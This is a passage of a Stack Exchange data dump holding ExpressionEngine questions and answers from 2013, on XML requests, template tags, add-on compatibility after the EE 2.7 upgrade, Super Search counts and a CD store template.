-&gt; Type to Javascript it actually returns the Snippet as the web page (but only shows the markup). Vis., by doing this we're getting the same xhttp.responseText data. When we move the JS below into it's own template with the Preference Type to Javascript and {embed...} it we no longer get this problem but instead revert to the old one of getting a the Snippet instead of the XML.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here's the Javascript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;$(document).ready(function(){&#xA;&#xA;});&#xA;&#xA;function sendRequest() {&#xA;&#xA;    var url = &quot;OUR URL&quot;;&#xA;    var xhttp = new createXMLHTTPObject();&#xA;&#xA;    if (!xhttp) alert(&quot;XMLHttpFactories Not Applied&quot;);&#xA;&#xA;    xhttp.open(&quot;GET&quot;, url, false);&#xA;    xhttp.overrideMimeType('text/xml');&#xA;&#xA;    xhttp.send();&#xA;&#xA;    console.log(xhttp.responseText);&#xA;&#xA;}&#xA;&#xA;var XMLHttpFactories = [&#xA;    function () {return new XMLHttpRequest()},&#xA;    function () {return new ActiveXObject(&quot;Msxml2.XMLHTTP&quot;)},&#xA;    function () {return new ActiveXObject(&quot;Msxml3.XMLHTTP&quot;)},&#xA;    function () {return new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;)}&#xA;];&#xA;&#xA;function createXMLHTTPObject() {&#xA;    var xmlhttp = false;&#xA;    for (var i = 0; i &amp;lt; XMLHttpFactories.length; i++) {&#xA;        try {&#xA;            xmlhttp = XMLHttpFactories[i]();&#xA;        }&#xA;        catch (e) {&#xA;            continue;&#xA;        }&#xA;        break;&#xA;    }&#xA;    return xmlhttp;&#xA;}&#xA;&#xA;sendRequest();&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1931" LastEditorUserId="1931" LastEditDate="2013-08-29T18:18:06.613" LastActivityDate="2013-08-29T18:55:50.387" Title="XMLHttpRequest 200 OK but returning a Snippet instead of the appropriate XML" Tags="|ee2|javascript|xml|parsing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13308" PostTypeId="1" AcceptedAnswerId="13310" CreationDate="2013-08-29T17:20:46.843" Score="3" ViewCount="50" Body="&lt;p&gt;I have a channel called Knowledge Item, and one of its fields is a file. I want to embed the ID of the file in a hidden field in my template. I was doing this and thought it was working;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; id=&quot;knowledge_item_entry_id&quot; value=&quot;{entry_id}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;until I realised that {entry_id} refers to the entry id of the parent channel entry, not the file itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a syntax to access properties like these from within a template please? &lt;/p&gt;&#xA;" OwnerUserId="1964" LastEditorUserId="197" LastEditDate="2013-08-29T17:37:50.207" LastActivityDate="2013-08-29T17:37:50.207" Title="How can I get the id of a file that appears in a channel entry?" Tags="|ee2|templates|file-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13309" PostTypeId="1" AcceptedAnswerId="13311" CreationDate="2013-08-29T17:26:40.197" Score="2" ViewCount="603" Body="&lt;p&gt;I have a Freeform form running on a site. The form runs at sub.domain.com/folder/index.php and basically uploads a file and sends two emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yesterday, all was working well while under EE 2.6.1. Today I updated EE to 2.7 and now anytime I submit the form I get this message :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You are not authorized to perform this action - Reason: Secure Forms&#xA;  Timeout&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The only thing that change is the EE upgrade. I'm using Freeform 4.0.12.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did see this &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13138/freeform-secure-forms-timeout&quot;&gt;thread&lt;/a&gt; and double checked there was no redirect, but everything happens under the same folder on the same subdomain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any pointer you could provide.&lt;/p&gt;&#xA;" OwnerUserId="1977" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-08-29T17:42:42.607" Title="Freeform / EE 2.7 : Reason: Secure Forms Timeout" Tags="|solspace-freeform|upgrade|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13310" PostTypeId="2" ParentId="13308" CreationDate="2013-08-29T17:36:45.967" Score="3" Body="&lt;p&gt;You would just use the file field's tag pair and the file_id varaiable like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{file_field_name}{file_id}{/file_field_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-08-29T17:36:45.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13311" PostTypeId="2" ParentId="13309" CreationDate="2013-08-29T17:41:04.433" Score="3" Body="&lt;p&gt;For now, Freeform is not compatible with EE2.7 - check the blogpost here &lt;a href=&quot;http://www.solspace.com/blog/entry/compatibility_with_ee_2.7.0/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/blog/entry/compatibility_with_ee_2.7.0/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2013-08-29T17:41:04.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13312" PostTypeId="2" ParentId="13306" CreationDate="2013-08-29T17:41:29.007" Score="2" Body="&lt;p&gt;Since the Simple S3 Uploader is a normal fieldtype, you simply use the field name for the image field like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta property=&quot;og:image&quot; content=&quot;{custom_field_name}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can look at the &lt;a href=&quot;http://www.emarketsouth.com/add-ons/simple-s3-uploader/template-tags/&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; for additional tags that are available with the fieldtype.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-08-29T17:41:29.007" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13313" PostTypeId="2" ParentId="13256" CreationDate="2013-08-29T17:43:22.987" Score="2" Body="&lt;p&gt;Processing refunds from the CP is only supported on some gateways, and Authorize.Net AIM is not one of them unfortunately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, we will be adding this soon, so keep an eye out in the next version.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-08-29T17:43:22.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13314" PostTypeId="2" ParentId="13261" CreationDate="2013-08-29T17:52:09.250" Score="1" Body="&lt;p&gt;@ManuelPayano at DevDemon was able to replicate this, which were &quot;&lt;a href=&quot;http://www.devdemon.com/updater/#product_version_history&quot; rel=&quot;nofollow&quot;&gt;addon install/update &amp;amp; XID issues&lt;/a&gt;&quot; with between EE 2.70 and Updater 3.2.6. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;DevDemon now has released &lt;a href=&quot;http://www.devdemon.com/updater/&quot; rel=&quot;nofollow&quot;&gt;Updater 3.2.7&lt;/a&gt; with the fix, and it's again working great.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-08-29T17:52:09.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13315" PostTypeId="2" ParentId="13307" CreationDate="2013-08-29T18:55:50.387" Score="2" Body="&lt;p&gt;Ok so this was ridiculous easy to fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we did was move the XML from it's static file and inserted it into its own template within our active template group and it worked. So if you're having this problem just template the XML and go nuts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All we had to change in our JS here was&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var url = &quot;OUR URL&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var url = &quot;{path='&amp;lt;our template group&amp;gt;/&amp;lt;our XML template&amp;gt;}&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2013-08-29T18:55:50.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13316" PostTypeId="1" CreationDate="2013-08-29T20:12:19.470" Score="5" ViewCount="691" Body="&lt;p&gt;I've just upgraded to EE 2.7.0 and I am thinking about migrating my use of Matrix to Grid and my use of Playa to Relationships. The main reason is that since I run more than one site off my EE install, using Grid and Relations would allow me to implement such fields on all sites, instead of just one since I only have a single license each for Matrix and Playa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moving manually would be a bit time consuming, especially when it comes to my Matrix implementation, so I am wondering if anyone has any suggestions for how to automate the process? I do own Solspace's Importer module, but I am not sure if it would be useable in this scenario.&lt;/p&gt;&#xA;" OwnerUserId="352" LastEditorUserId="55" LastEditDate="2013-08-29T23:00:01.220" LastActivityDate="2013-09-28T23:50:21.560" Title="Automating migration from Matrix to Grid and Playa to Relationships?" Tags="|matrix|playa|relationships|grid|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13317" PostTypeId="2" ParentId="12017" CreationDate="2013-08-29T20:38:34.797" Score="2" Body="&lt;p&gt;As long as the template translations are all in place in the module, the default behavior of the segment_x variables should be to default back to their native ExpressionEngine template group / template names as defined in the template manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the next version of Transcribe we're also introducing several additional early parse order variables such as {transcribe:segment_1} which will be populated with the url segment shown in the browser.&lt;/p&gt;&#xA;" OwnerUserId="801" LastActivityDate="2013-08-29T20:38:34.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13318" PostTypeId="1" AcceptedAnswerId="13320" CreationDate="2013-08-29T21:46:24.360" Score="2" ViewCount="61" Body="&lt;p&gt;I am looking into using Solspace Rating for a web project I am working on and I will need to have different Rating fields for different channels. Is this possible? Or do I need to work out a way of hiding some fields for some channels?&lt;/p&gt;&#xA;" OwnerUserId="1978" LastActivityDate="2014-01-31T02:48:30.590" Title="Is it possible to have channel specific Rating fields?" Tags="|solspace-rating|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13319" PostTypeId="1" CreationDate="2013-08-29T21:52:01.960" Score="1" ViewCount="84" Body="&lt;p&gt;Can Solspace Importer import from a CSV file into relationship fields of channel entries? I have a large number entries with relationships to set up and it would be great if it could be automated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples (can be simple) of how I might do this would be greatly appreciated, including how the CSV file needs to be formatted.&lt;/p&gt;&#xA;" OwnerUserId="1978" LastEditorUserId="69" LastEditDate="2013-09-08T04:25:19.783" LastActivityDate="2013-09-08T04:25:19.783" Title="Is it possible to import from a CSV into EE 2.7 Relationship fields?" Tags="|solspace|solspace-importer|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13320" PostTypeId="2" ParentId="13318" CreationDate="2013-08-29T22:45:35.733" Score="2" Body="&lt;p&gt;You could display or not display the fields using a conditional based on the channel_id.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-08-29T22:45:35.733" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13321" PostTypeId="2" ParentId="13316" CreationDate="2013-08-29T23:05:42.480" Score="1" Body="&lt;p&gt;In short: this is a doozy. Writing a routine to migrate a Playa field to a Relationship field wouldn't be too bad. But Matrix &amp;rarr; Grid is another level - especially depending on what kind of columns you have in those Matrix fields (and if their fieldtypes are even Grid-compatible yet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess would be that it's cheaper for you to license your additional sites at $118 a piece than spend many frustrating hours attempting to migrate your existing data. Or just use Grid and Relationship fields going forward and leave what's in-place as it is.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-08-29T23:05:42.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13322" PostTypeId="1" AcceptedAnswerId="15566" CreationDate="2013-08-29T23:34:12.700" Score="0" ViewCount="91" Body="&lt;p&gt;I chose an image from a regular upload directory and it works fine. I chose one from an S3 source set up in Assets, and it doesn't. &#xA;For instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img alt=&quot;&quot; src=&quot;http://s3.amazonaws.com/foursquare.org//1350928362-IMG_3335.PNG&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The double slash is causing the image not to display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using WYGWAM 2.7.1, EE 2.6.1, Assets 2.1.4, and a lot of Scotch at this point.&lt;/p&gt;&#xA;" OwnerUserId="480" LastActivityDate="2013-11-08T04:13:52.750" Title="When I add an image to a WYGWAM field, using Assets, from an S3 source, I get a double slash" Tags="|assets|pixelandtonic|wygwam|s3|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13323" PostTypeId="1" AcceptedAnswerId="13326" CreationDate="2013-08-30T03:04:28.190" Score="2" ViewCount="196" Body="&lt;p&gt;Looking at the Changelogs for EE 2.7.0 I see there is now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Added Markdown plugin and field formatting option&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;…but I don't see any details in the documentation. Is there any information available on the new plug-in and how it works?&lt;/p&gt;&#xA;" OwnerUserId="384" LastEditorUserId="27" LastEditDate="2013-08-30T11:56:04.873" LastActivityDate="2013-08-30T11:56:04.873" Title="Details on EE 2.7.0 Markdown Plugin and field format" Tags="|add-on|plugin|core|2.7.0|markdown|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13324" PostTypeId="1" AcceptedAnswerId="13653" CreationDate="2013-08-30T03:14:08.330" Score="6" ViewCount="314" Body="&lt;p&gt;I'm using Super Search (2.1.2) as a channel:entries replacement. I'm finding that super_search_total_results is wrong when I use &lt;strong&gt;search:&lt;/strong&gt; parameters. A stripped down example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results&#xA;  channel=&quot;files&quot;&#xA;  search:files_area=&quot;=schedules&quot;&#xA;  search:files_type=&quot;not digital&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I &lt;em&gt;should&lt;/em&gt; have 5 results, but super_search_total_results give me a result of 8, which is the count of &lt;em&gt;all&lt;/em&gt; items in the files channel, including the digital items. I am seeing only five files (which is right), but the total results result is incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use a query string instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search&amp;amp;files_area=schedules&amp;amp;files_type=-digital&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get 5 items showing and the correct count of 5. I don't always want to put a monstrous query string in the URL if I don't have to, because I don't want someone trying to manipulate it. Also, I don't think I can do an &quot;if empty OR a specific value&quot; in the query string like I can do with this (and will need to do on this site as well):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search:files_company=&quot;IS_EMPTY|{member_company}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there something I'm missing as far as getting the correct total results count when using those search: parameters?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;For anyone coming here with the same issue: I downvoted the initial answer because it doesn't actually answer the question(s).&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just found this comment in mod.super_search.php on line 1261 (SS v2.1.2):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//  If someone uses the search:body=&quot;something&quot; template param, the counts &#xA;    can be thrown off. This conditional is a patch that will catch some of the cases.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Someone there knows about using the &quot;search:&quot; parameter style, and knows that the counts can be off. I don't think the patch is working, obviously.&lt;/p&gt;&#xA;" OwnerUserId="380" LastEditorUserId="380" LastEditDate="2013-09-10T20:48:05.003" LastActivityDate="2013-09-11T02:44:31.623" Title="super_search_total_results off when using search: parameter" Tags="|solspace|supersearch|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13325" PostTypeId="1" AcceptedAnswerId="13347" CreationDate="2013-08-30T03:17:15.480" Score="1" ViewCount="61" Body="&lt;p&gt;I'm new to EE, and I've been asked to update someone's site that has already been set up in EE - I'm floundering a bit here and don't know how to set up the page correctly (perhaps in over my head!). My terminology might not be up to snuff, so please bear with me. The code provided below was already in EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Goal: have a page (domain.com/store) that lists two types of CDs (artists own CDs, and OTHER  CDs), where:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the CD cover for OTHER CDs and title are links to more detailed info  (domain.com/store/CDname), and&lt;/li&gt;&#xA;&lt;li&gt;full info is shown for OWN CDs (doesn't need to linked to its own page)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I can't, for the life of me, figure out what I need to do! Perhaps this is too much for just one answer, and perhaps I don't know enough to structure the question correctly...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page template is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;inc/.head&quot;}&#xA;&#xA;{embed=&quot;inc/.nav&quot;}&#xA;&#xA;{embed=&quot;inc/.store&quot;}&#xA;&#xA;{embed=&quot;inc/.sidebar&quot;}&#xA;&#xA;{embed=&quot;inc/.footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the {embed=&quot;inc/.store&quot;} is set up like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;main&quot;&amp;gt; &amp;lt;!-- #main, #wrap, and #content are closed in the .sidebar --&amp;gt;&#xA;    &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;block&quot;&amp;gt;&#xA;        &amp;lt;h4 id=&quot;myrecordings&quot;&amp;gt;MY RECORDINGS&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;div class=&quot;block-content&quot;&amp;gt;&#xA;                &amp;lt;ul class=&quot;news&quot; id=&quot;myCds&quot;&amp;gt; &amp;lt;!-- FULL INFO FOR THESE --&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;store&quot; orderby=&quot;date&quot; sort=&quot;asc&quot; category=&quot;9&quot;}&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;div class=&quot;pic&quot;&amp;gt;&#xA;                                {if bc}&amp;lt;a href=&quot;{bc}&quot; target=&quot;_blank&quot;&amp;gt;{if:elseif amazon}&amp;lt;a href=&quot;{amazon}&quot; target=&quot;_blank&quot;&amp;gt;{/if}&amp;lt;img src=&quot;{cover}&quot; alt=&quot;{title}&quot; width=&quot;150&quot; height=&quot;150&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;details&quot;&amp;gt;&#xA;                                &amp;lt;h5&amp;gt;&amp;lt;a href=&quot;{comment_url_title_auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h5&amp;gt;&#xA;                                &amp;lt;p style=&quot;font-weight:bold;&quot;&amp;gt;{subtitle}&amp;lt;/p&amp;gt;&#xA;                                &amp;lt;p&amp;gt;{personnel}&amp;lt;/p&amp;gt;&#xA;                                &amp;lt;p&amp;gt;{store_description}&amp;lt;/p&amp;gt;&#xA;                                  &amp;lt;p style=&quot;font-size:18px;&quot;&amp;gt;{if bc}&amp;lt;a href=&quot;{bc}&quot; target=&quot;_blank&quot;&amp;gt;Buy On Bandcamp&amp;lt;/a&amp;gt; | {/if}{if amazon}&amp;lt;a href=&quot;{amazon}&quot; target=&quot;_blank&quot;&amp;gt;Buy On Amazon&amp;lt;/a&amp;gt; | {/if} {if itunes_link}&amp;lt;a href=&quot;{itunes_link}&quot; target=&quot;_blank&quot;&amp;gt;Buy On iTunes&amp;lt;/a&amp;gt;{/if}&amp;lt;/p&amp;gt;&#xA;                                &amp;lt;p&amp;gt;{track_list}&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt; &amp;lt;!-- /block-content --&amp;gt;&#xA;    &amp;lt;/div&amp;gt; &amp;lt;!-- /block --&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;block&quot;&amp;gt;&#xA;    &amp;lt;h4 id=&quot;other&quot;&amp;gt;OTHER RECORDINGS&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;div class=&quot;block-content&quot;&amp;gt;&#xA;            &amp;lt;ul class=&quot;news cdGrid&quot;&amp;gt; &amp;lt;!-- PARTIAL INFO FOR THESE --&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;store&quot; orderby=&quot;date&quot; sort=&quot;asc&quot; category=&quot;14&quot;}&#xA;            &amp;lt;li&amp;gt;&#xA;                    &amp;lt;div class=&quot;pic&quot;&amp;gt;&#xA;                        &amp;lt;a href=&quot;{comment_url_title_auto_path}&quot;&amp;gt;&amp;lt;img src=&quot;{cover}&quot; alt=&quot;{title}&quot; width=&quot;150&quot; height=&quot;150&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;details&quot;&amp;gt;&#xA;                        &amp;lt;h5&amp;gt;{title}&amp;lt;/h5&amp;gt;&#xA;                            &amp;lt;p style=&quot;font-weight:bold;&quot;&amp;gt;{subtitle}&amp;lt;/p&amp;gt;&#xA;                    {!-- &amp;lt;p&amp;gt;{personnel}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;p&amp;gt;{store_description}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;p style=&quot;font-size:18px;&quot;&amp;gt;{if bc}&amp;lt;a href=&quot;{bc}&quot; target=&quot;_blank&quot;&amp;gt;Buy On Bandcamp&amp;lt;/a&amp;gt; | {/if}{if amazon}&amp;lt;a href=&quot;{amazon}&quot; target=&quot;_blank&quot;&amp;gt;Buy On Amazon&amp;lt;/a&amp;gt;{/if}{if itunes_link} | &amp;lt;a href=&quot;{itunes_link}&quot; target=&quot;_blank&quot;&amp;gt;Buy On iTunes&amp;lt;/a&amp;gt;{/if}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;p&amp;gt;{track_list}&amp;lt;/p&amp;gt; --}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;                &amp;lt;/ul&amp;gt;&#xA;                        &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1954" LastActivityDate="2013-08-30T20:26:45.650" Title="Setting up a blog-type CD page with links to detailed page" Tags="|channel-entries|templates|entries|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13326" PostTypeId="2" ParentId="13323" CreationDate="2013-08-30T05:53:34.137" Score="3" Body="&lt;p&gt;From the plugin file in EE 2.7:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin parses text using Markdown and Smartypants. To use this plugin wrap&#xA;any text in this tag pair:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:markdown}&#xA;Text to be **parsed**.&#xA;{/exp:markdown}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are two parameters you can set:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;encode_ee_tags - ('yes'/'no') defaults to 'yes', when set to 'no' allows EE &#xA;code to be rendered&lt;/li&gt;&#xA;&lt;li&gt;smartypants - ('yes'/'no') defaults to 'yes', when set to 'no' stops &#xA;SmartyPants from running which leaves your quotes and hyphens alone&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For basic syntax, EE is referring to &lt;a href=&quot;http://daringfireball.net/projects/markdown/syntax&quot; rel=&quot;nofollow&quot;&gt;http://daringfireball.net/projects/markdown/syntax&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, PHP Markdown is being used, so anything you see here -- &lt;a href=&quot;http://michelf.ca/projects/php-markdown/extra/&quot; rel=&quot;nofollow&quot;&gt;http://michelf.ca/projects/php-markdown/extra/&lt;/a&gt; -- is available. Good for adding classes and ids, etc.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-08-30T05:53:34.137" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13327" PostTypeId="2" ParentId="5460" CreationDate="2013-08-30T09:35:50.010" Score="1" Body="&lt;p&gt;The question wasn't about ranges exactly, the example was about a &quot;less than a numeric value&quot; query which according to the docs is possible? - &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#numeric-matching&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#numeric-matching&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="42" LastEditorUserId="28" LastEditDate="2013-08-30T17:11:07.133" LastActivityDate="2013-08-30T17:11:07.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13328" PostTypeId="5" CreationDate="2013-08-30T09:39:40.087" Score="0" Body="&lt;p&gt;ExpressionEngine Zoo make several popular commercial Add-ons including &lt;a href=&quot;http://ee-zoo.com/add-ons/visitor/&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt;, &lt;a href=&quot;http://ee-zoo.com/add-ons/triggers/&quot; rel=&quot;nofollow&quot;&gt;Zoo Triggers&lt;/a&gt; and &lt;a href=&quot;http://ee-zoo.com/add-ons/flexible-admin/&quot; rel=&quot;nofollow&quot;&gt;Flexible Admin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information, or to purchase and add-on visit their &lt;a href=&quot;http://ee-zoo.com&quot; rel=&quot;nofollow&quot;&gt;website&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-30T10:29:02.573" LastActivityDate="2013-08-30T10:29:02.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13329" PostTypeId="4" CreationDate="2013-08-30T09:39:40.087" Score="0" Body="ExpressionEngine Zoo make several popular commercial Add-ons including Zoo Visitor, Zoo Triggers and Flexible Admin." OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-30T10:29:13.420" LastActivityDate="2013-08-30T10:29:13.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13330" PostTypeId="1" AcceptedAnswerId="13333" CreationDate="2013-08-30T09:44:16.843" Score="1" ViewCount="53" Body="&lt;p&gt;I've got:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;packages&quot; dynamic=&quot;no&quot; limit=&quot;1&quot; sort=&quot;asc&quot; orderby=&quot;package_order&quot; search:package_order=&quot;&amp;gt;3&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which should bring back a result but doesn't. The &quot;package order&quot; field is format &quot;integer&quot; but that should work shouldn't it?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am i missing something?&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2013-08-30T10:01:28.523" Title="Numeric Matching in channel entry query" Tags="|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13331" PostTypeId="5" CreationDate="2013-08-30T09:45:37.877" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-08-30T09:45:37.877" LastActivityDate="2013-08-30T09:45:37.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13332" PostTypeId="4" CreationDate="2013-08-30T09:45:37.877" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-08-30T09:45:37.877" LastActivityDate="2013-08-30T09:45:37.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
